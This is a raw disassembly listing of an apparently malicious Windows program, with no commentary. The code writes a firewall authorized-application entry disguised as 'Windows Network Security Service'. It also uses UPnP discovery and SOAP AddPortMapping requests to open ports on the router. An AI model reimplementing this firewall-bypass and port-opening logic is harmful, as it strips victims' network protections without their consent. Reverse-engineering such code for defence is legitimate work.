		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	esi, [ebp+10h]
		xor	edi, edi
		jmp	short loc_4021C0
; ---------------------------------------------------------------------------


loc_4021BD:				; CODE XREF: DMN0:004021CFj
		xor	edi, edi
		inc	edi


loc_4021C0:				; CODE XREF: DMN0:004021BBj
		push	esi
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_402106
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4021BD
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	ebx
		call	sub_401F9B
		pop	ecx
		mov	eax, [esp+10h]
		mov	esi, [eax+4]
		jmp	short loc_402201
; ---------------------------------------------------------------------------


loc_4021EE:				; CODE XREF: DMN0:00402203j
		movzx	eax, word ptr [esi]
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		call	sub_402049
		add	esp, 0Ch
		mov	esi, [esi+8]


loc_402201:				; CODE XREF: DMN0:004021ECj
		test	esi, esi
		jnz	short loc_4021EE
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402208	proc near		; CODE XREF: sub_402296+98p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E24
		test	eax, eax
		jnz	short loc_40225A
		push	[ebp+arg_C]
		call	sub_407710
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E28
		push	[ebp+var_4]
		call	dword_411E2C


loc_40225A:				; CODE XREF: sub_402208+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_402208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40225E	proc near		; CODE XREF: DMN0:0040237Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E30
		test	eax, eax
		jnz	short loc_402292
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E34
		push	[ebp+var_4]
		call	dword_411E2C


loc_402292:				; CODE XREF: sub_40225E+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_40225E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402296	proc near		; CODE XREF: sub_4067B0:loc_4069E1p

var_20A		= byte ptr -20Ah
var_105		= byte ptr -105h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	104h
		lea	eax, [ebp+var_105]
		push	eax
		push	0
		call	dword_411CDC
		mov	ebx, eax
		mov	[ebp+ebx+var_105], 0
		cmp	[ebp+var_105], 0
		jz	short loc_402336
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		call	sub_407730
		pop	ecx
		pop	ecx
		push	dword_4128A4
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_402208
		add	esp, 10h


loc_402336:				; CODE XREF: sub_402296+2Fj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402296	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	104h
		lea	eax, [ebp-105h]
		push	eax
		push	0
		call	dword_411CDC
		mov	ebx, eax
		mov	byte ptr [ebp+ebx-105h], 0
		cmp	byte ptr [ebp-105h], 0
		jz	short loc_402385
		lea	eax, [ebp-105h]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_40225E
		add	esp, 0Ch


loc_402385:				; CODE XREF: DMN0:0040236Aj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40238A	proc near		; CODE XREF: sub_4023DC+2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		cmp	dword_411008, 0
		jnz	short loc_4023D7
		push	14h
		push	40h
		call	dword_411CE0
		mov	ebx, eax
		push	1
		push	ebx
		call	dword_411E38
		push	0
		push	0
		push	1
		push	ebx
		call	dword_411E3C
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], 1
		mov	dword_411008, 1


loc_4023D7:				; CODE XREF: sub_40238A+Ej
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40238A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4023DC	proc near		; CODE XREF: sub_403C3F+7Fp
					; sub_4067B0+23Fp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		call	sub_40238A
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	100h
		push	0
		push	4
		push	offset dword_412928
		push	0FFFFFFFFh
		call	dword_411CE4
		mov	ebx, eax
		test	eax, eax
		jz	short loc_402446
		call	dword_411CE8
		cmp	eax, 0B7h
		jz	short loc_402444
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC
		mov	esi, eax
		test	esi, esi
		jz	short loc_402444
		mov	ax, [esp+8+arg_0]
		mov	[esi], ax
		mov	ax, [esp+8+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF0


loc_402444:				; CODE XREF: sub_4023DC+36j
					; sub_4023DC+4Ej
		mov	eax, ebx


loc_402446:				; CODE XREF: sub_4023DC+29j
		pop	esi
		pop	ebx
		retn
sub_4023DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_402449	proc near		; CODE XREF: sub_403C3F+9Bp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF4
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4024A2
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC
		mov	esi, eax
		test	esi, esi
		jz	short loc_402499
		mov	ax, [esp+0Ch+arg_0]
		mov	[esi], ax
		mov	ax, [esp+0Ch+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF0
		xor	edi, edi
		inc	edi


loc_402499:				; CODE XREF: sub_402449+33j
		push	ebx
		call	dword_411CF8
		mov	eax, edi


loc_4024A2:				; CODE XREF: sub_402449+1Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402449	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024A6	proc near		; CODE XREF: sub_404967+87p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	si, si
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF4
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4024CB
		mov	eax, 0FFFFh
		jmp	short loc_40250D
; ---------------------------------------------------------------------------


loc_4024CB:				; CODE XREF: sub_4024A6+1Cj
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC
		mov	edi, eax
		test	edi, edi
		jz	short loc_402503
		mov	si, [edi]
		test	si, si
		jz	short loc_4024F8
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, [edi+2]
		mov	[edx], ax
		jmp	short loc_4024FC
; ---------------------------------------------------------------------------


loc_4024F8:				; CODE XREF: sub_4024A6+43j
		mov	si, 0FFFFh


loc_4024FC:				; CODE XREF: sub_4024A6+50j
		push	edi
		call	dword_411CF0


loc_402503:				; CODE XREF: sub_4024A6+3Bj
		push	ebx
		call	dword_411CF8
		movzx	eax, si


loc_40250D:				; CODE XREF: sub_4024A6+23j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4024A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402511	proc near		; CODE XREF: sub_4025A9+2Dp
					; sub_402B02+23Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_407710
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_407710
		pop	ecx
		mov	ebx, eax
		jmp	short loc_402555
; ---------------------------------------------------------------------------


loc_402537:				; CODE XREF: sub_402511+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411CFC
		cmp	eax, 2
		jnz	short loc_402553
		mov	eax, esi
		jmp	short loc_40255B
; ---------------------------------------------------------------------------


loc_402553:				; CODE XREF: sub_402511+3Cj
		inc	esi
		dec	edi


loc_402555:				; CODE XREF: sub_402511+24j
		cmp	edi, ebx
		jge	short loc_402537
		xor	eax, eax


loc_40255B:				; CODE XREF: sub_402511+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402511	endp


; =============== S U B	R O U T	I N E =======================================



sub_402562	proc near		; CODE XREF: sub_4025A9+1C4p
					; sub_402896+12Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		call	dword_411CC4
		lea	esi, [eax+7D0h]


loc_402574:				; CODE XREF: sub_402562+40j
		push	ebx
		call	sub_401542
		pop	ecx
		test	eax, eax
		jle	short loc_402584
		xor	eax, eax
		inc	eax
		jmp	short loc_4025A6
; ---------------------------------------------------------------------------


loc_402584:				; CODE XREF: sub_402562+1Bj
		push	offset a_	; "."
		call	sub_407320
		pop	ecx
		push	12Ch
		call	dword_411D00
		call	dword_411CC4
		cmp	eax, esi
		jb	short loc_402574
		xor	eax, eax


loc_4025A6:				; CODE XREF: sub_402562+20j
		pop	esi
		pop	ebx
		retn
sub_402562	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4025A9	proc near		; CODE XREF: sub_402B02+337p

var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 468h
		push	ebx
		push	esi
		push	edi
		push	10h
		push	0
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_5C], 2
		xor	di, di
		push	offset aHttp	; "http://"
		push	[ebp+arg_0]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4025EB
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_4025EA:				; CODE XREF: sub_4025A9+4Aj
		inc	ebx


loc_4025EB:				; CODE XREF: sub_4025A9+38j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4025F5
		cmp	al, 2Fh
		jnz	short loc_4025EA


loc_4025F5:				; CODE XREF: sub_4025A9+46j
		jmp	short loc_4025F8
; ---------------------------------------------------------------------------


loc_4025F7:				; CODE XREF: sub_4025A9+57j
		inc	ebx


loc_4025F8:				; CODE XREF: sub_4025A9:loc_4025F5j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402602
		cmp	al, 2Fh
		jz	short loc_4025F7


loc_402602:				; CODE XREF: sub_4025A9+53j
		xor	esi, esi
		jmp	short loc_40261A
; ---------------------------------------------------------------------------


loc_402606:				; CODE XREF: sub_4025A9+7Dj
		cmp	esi, 3Fh
		jb	short loc_402612
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402612:				; CODE XREF: sub_4025A9+60j
		mov	al, [ebx]
		mov	[ebp+esi+var_40], al
		inc	esi
		inc	ebx


loc_40261A:				; CODE XREF: sub_4025A9+5Bj
		mov	al, [ebx]
		test	al, al
		jz	short loc_402628
		cmp	al, 3Ah
		jz	short loc_402628
		cmp	al, 2Fh
		jnz	short loc_402606


loc_402628:				; CODE XREF: sub_4025A9+75j
					; sub_4025A9+79j
		mov	[ebp+esi+var_40], 0
		cmp	byte ptr [ebx],	3Ah
		jz	short loc_402639
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402639:				; CODE XREF: sub_4025A9+87j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_402660
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402646:				; CODE XREF: sub_4025A9+C3j
		movzx	eax, di
		lea	eax, [eax+eax*4]
		add	eax, eax
		mov	di, ax
		movzx	eax, di
		movsx	edx, byte ptr [ebx]
		sub	edx, 30h
		add	eax, edx
		mov	di, ax
		inc	ebx


loc_402660:				; CODE XREF: sub_4025A9+94j
		mov	al, [ebx]
		test	al, al
		jz	short loc_40266E
		cmp	al, 30h
		jl	short loc_40266E
		cmp	al, 39h
		jle	short loc_402646


loc_40266E:				; CODE XREF: sub_4025A9+BBj
					; sub_4025A9+BFj
		cmp	di, 1
		jnb	short loc_40267C
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_40267B:				; CODE XREF: sub_4025A9+DBj
		inc	ebx


loc_40267C:				; CODE XREF: sub_4025A9+C9j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402686
		cmp	al, 2Fh
		jnz	short loc_40267B


loc_402686:				; CODE XREF: sub_4025A9+D7j
		cmp	byte ptr [ebx],	0
		jnz	short loc_402692
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402692:				; CODE XREF: sub_4025A9+E0j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_406DC8
		mov	[ebp+var_58], eax
		movzx	eax, di
		push	eax
		call	sub_406D98
		mov	[ebp+var_5A], ax
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
		call	sub_407320
		add	esp, 0Ch
		push	6
		push	1
		push	2
		call	sub_406D7A
		mov	[ebp+var_44], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026D9
		and	[ebp+var_44], 0


loc_4026D9:				; CODE XREF: sub_4025A9+12Aj
		cmp	[ebp+var_44], 0
		jnz	short loc_4026E6
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_4026E6:				; CODE XREF: sub_4025A9+134j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_406DC8
		movzx	edx, di
		push	edx
		push	eax
		push	[ebp+var_44]
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402713
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402713:				; CODE XREF: sub_4025A9+158j
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	ebx
		push	offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_407380
		add	esp, 14h
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_407710
		pop	ecx
		mov	[ebp+var_48], eax
		push	[ebp+var_48]
		lea	eax, [ebp+var_45C]
		push	eax
		push	[ebp+var_44]
		call	sub_401787
		add	esp, 0Ch
		cmp	eax, [ebp+var_48]
		jz	short loc_40276A
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_40276A:				; CODE XREF: sub_4025A9+1AFj
		push	[ebp+var_44]
		call	sub_402562
		pop	ecx
		push	10000h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_4C], eax
		push	0FFFFh
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_401713
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	short loc_4027D2
		push	[ebp+var_44]
		call	sub_401542
		pop	ecx
		mov	[ebp+var_468], eax
		cmp	eax, 0FFFFh
		jle	short loc_4027BB
		mov	[ebp+var_468], 0FFFFh


loc_4027BB:				; CODE XREF: sub_4025A9+206j
		push	[ebp+var_468]
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_48], eax


loc_4027D2:				; CODE XREF: sub_4025A9+1F0j
		push	[ebp+var_48]
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
		call	sub_407320
		add	esp, 10h
		cmp	[ebp+var_48], 1
		jge	short loc_402809
		push	[ebp+var_4C]
		call	sub_401076
		pop	ecx
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402809:				; CODE XREF: sub_4025A9+245j
		push	offset asc_40F612 ; "\n"
		push	[ebp+var_4C]
		call	sub_407780
		pop	ecx
		pop	ecx
		mov	[ebp+var_460], eax
		test	eax, eax
		jnz	short loc_402838
		push	[ebp+var_4C]
		call	sub_401076
		pop	ecx
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_40288F
; ---------------------------------------------------------------------------


loc_402838:				; CODE XREF: sub_4025A9+277j
		push	offset a200	; "200"
		push	[ebp+var_4C]
		call	sub_407780
		pop	ecx
		pop	ecx
		mov	[ebp+var_464], eax
		test	eax, eax
		jz	short loc_402859
		cmp	eax, [ebp+var_460]
		jbe	short loc_40286F


loc_402859:				; CODE XREF: sub_4025A9+2A6j
		push	[ebp+var_4C]
		call	sub_401076
		pop	ecx
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_40288F
; ---------------------------------------------------------------------------


loc_40286F:				; CODE XREF: sub_4025A9+2AEj
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407730
		pop	ecx
		pop	ecx
		mov	edx, [ebp+arg_8]
		mov	[edx], di
		mov	eax, [ebp+var_4C]


loc_40288F:				; CODE XREF: sub_4025A9+3Cj
					; sub_4025A9+64j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4025A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402896	proc near		; CODE XREF: sub_402B02+50Fp
					; sub_402B02+53Dp

var_2014	= dword	ptr -2014h
var_2010	= dword	ptr -2010h
var_200C	= dword	ptr -200Ch
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h
arg_14		= word ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2014h
		call	sub_4077F0
		push	ebx
		push	esi
		push	edi
		movzx	eax, [ebp+arg_10]
		push	eax
		movzx	eax, [ebp+arg_14]
		push	eax
		push	offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_407380
		add	esp, 10h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_407710
		pop	ecx
		mov	[ebp+var_200C],	eax
		cmp	[ebp+arg_0], 0
		jz	short loc_402904
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_407380
		add	esp, 18h
		jmp	short loc_402929
; ---------------------------------------------------------------------------


loc_402904:				; CODE XREF: sub_402896+45j
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_407380
		add	esp, 18h


loc_402929:				; CODE XREF: sub_402896+6Cj
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
		call	sub_407320
		add	esp, 0Ch
		call	sub_401359
		mov	edi, eax
		test	eax, eax
		jz	loc_402AFB
		push	[ebp+arg_4]
		call	sub_406DC8
		movzx	edx, [ebp+arg_8]
		push	edx
		push	eax
		push	edi
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40298B
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_402AFB
; ---------------------------------------------------------------------------


loc_40298B:				; CODE XREF: sub_402896+E5j
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_407710
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_1008]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jz	short loc_4029C1
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_402AFB
; ---------------------------------------------------------------------------


loc_4029C1:				; CODE XREF: sub_402896+11Bj
		push	edi
		call	sub_402562
		pop	ecx
		push	10000h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_8], eax
		push	0FFFFh
		push	[ebp+var_8]
		push	edi
		call	sub_401713
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_402A21
		push	edi
		call	sub_401542
		pop	ecx
		mov	[ebp+var_2014],	eax
		cmp	eax, 0FFFFh
		jle	short loc_402A0C
		mov	[ebp+var_2014],	0FFFFh


loc_402A0C:				; CODE XREF: sub_402896+16Aj
		push	[ebp+var_2014]
		push	[ebp+var_8]
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_402A21:				; CODE XREF: sub_402896+156j
		push	[ebp+var_4]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
		call	sub_407320
		add	esp, 10h
		cmp	[ebp+var_4], 1
		jge	short loc_402A56
		push	[ebp+var_8]
		call	sub_401076
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_402AFB
; ---------------------------------------------------------------------------


loc_402A56:				; CODE XREF: sub_402896+1A7j
		push	offset asc_40F612 ; "\n"
		push	[ebp+var_8]
		call	sub_407780
		pop	ecx
		pop	ecx
		mov	[ebp+var_2010],	eax
		test	eax, eax
		jnz	short loc_402A83
		push	[ebp+var_8]
		call	sub_401076
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_402AFB
; ---------------------------------------------------------------------------


loc_402A83:				; CODE XREF: sub_402896+1D7j
		mov	ebx, [ebp+var_8]
		jmp	short loc_402A89
; ---------------------------------------------------------------------------


loc_402A88:				; CODE XREF: sub_402896+1FBj
		inc	ebx


loc_402A89:				; CODE XREF: sub_402896+1F0j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402A93
		cmp	al, 20h
		jnz	short loc_402A88


loc_402A93:				; CODE XREF: sub_402896+1F7j
		jmp	short loc_402A96
; ---------------------------------------------------------------------------


loc_402A95:				; CODE XREF: sub_402896+208j
		inc	ebx


loc_402A96:				; CODE XREF: sub_402896:loc_402A93j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402AA0
		cmp	al, 20h
		jz	short loc_402A95


loc_402AA0:				; CODE XREF: sub_402896+204j
		xor	esi, esi
		jmp	short loc_402AB4
; ---------------------------------------------------------------------------


loc_402AA4:				; CODE XREF: sub_402896+22Aj
		lea	esi, [esi+esi*4]
		add	esi, esi
		movsx	eax, byte ptr [ebx]
		sub	eax, 30h
		add	esi, eax
		inc	ebx
		jmp	short loc_402AC2
; ---------------------------------------------------------------------------


loc_402AB4:				; CODE XREF: sub_402896+20Cj
		mov	al, [ebx]
		test	al, al
		jz	short loc_402AC2
		cmp	al, 30h
		jl	short loc_402AC2
		cmp	al, 39h
		jle	short loc_402AA4


loc_402AC2:				; CODE XREF: sub_402896+21Cj
					; sub_402896+222j ...
		push	esi
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
		call	sub_407320
		add	esp, 10h
		cmp	esi, 2
		jz	short loc_402AF1
		push	[ebp+var_8]
		call	sub_401076
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_402AFB
; ---------------------------------------------------------------------------


loc_402AF1:				; CODE XREF: sub_402896+245j
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		inc	eax


loc_402AFB:				; CODE XREF: sub_402896+C6j
					; sub_402896+F0j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B02	proc near		; CODE XREF: sub_40356A+6Cp
					; sub_404967+1B9p

var_18A0	= dword	ptr -18A0h
var_189C	= byte ptr -189Ch
var_188C	= dword	ptr -188Ch
var_1888	= dword	ptr -1888h
var_1884	= dword	ptr -1884h
var_187E	= byte ptr -187Eh
var_183E	= word ptr -183Eh
var_183C	= dword	ptr -183Ch
var_1838	= dword	ptr -1838h
var_1834	= dword	ptr -1834h
var_1830	= dword	ptr -1830h
var_182C	= dword	ptr -182Ch
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_181C	= word ptr -181Ch
var_181A	= word ptr -181Ah
var_1818	= dword	ptr -1818h
var_1809	= byte ptr -1809h
var_1409	= byte ptr -1409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 18A0h
		call	sub_4077F0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1820],	3E8h
		cmp	[ebp+arg_0], 0
		jnz	short loc_402B2B
		mov	ax, [ebp+arg_4]
		mov	[ebp+arg_0], ax


loc_402B2B:				; CODE XREF: sub_402B02+1Fj
		push	10h
		push	0
		lea	eax, [ebp+var_181C]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_181C],	2
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_406DC8
		mov	[ebp+var_1818],	eax
		push	76Ch
		call	sub_406D98
		mov	[ebp+var_181A],	ax
		mov	[ebp+var_404], 1
		push	11h
		push	2
		push	2
		call	sub_406D7A
		mov	[ebp+var_408], eax
		and	[ebp+var_1828],	0
		mov	[ebp+var_1824],	1
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_406DC8
		mov	[ebp+var_1828],	eax
		push	8
		lea	eax, [ebp+var_1828]
		push	eax
		push	5
		push	0
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406D80
		test	eax, eax
		jge	short loc_402BCC
		push	offset aShit	; "shit!\n"
		call	sub_407320
		pop	ecx


loc_402BCC:				; CODE XREF: sub_402B02+BDj
		lea	eax, [ebp+var_181C]
		mov	[ebp+var_182C],	eax
		push	10h
		push	[ebp+var_182C]
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406DA4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_403082
		push	offset aXbind___ ; "xbind...\n"
		call	sub_407320
		pop	ecx
		jmp	loc_403082
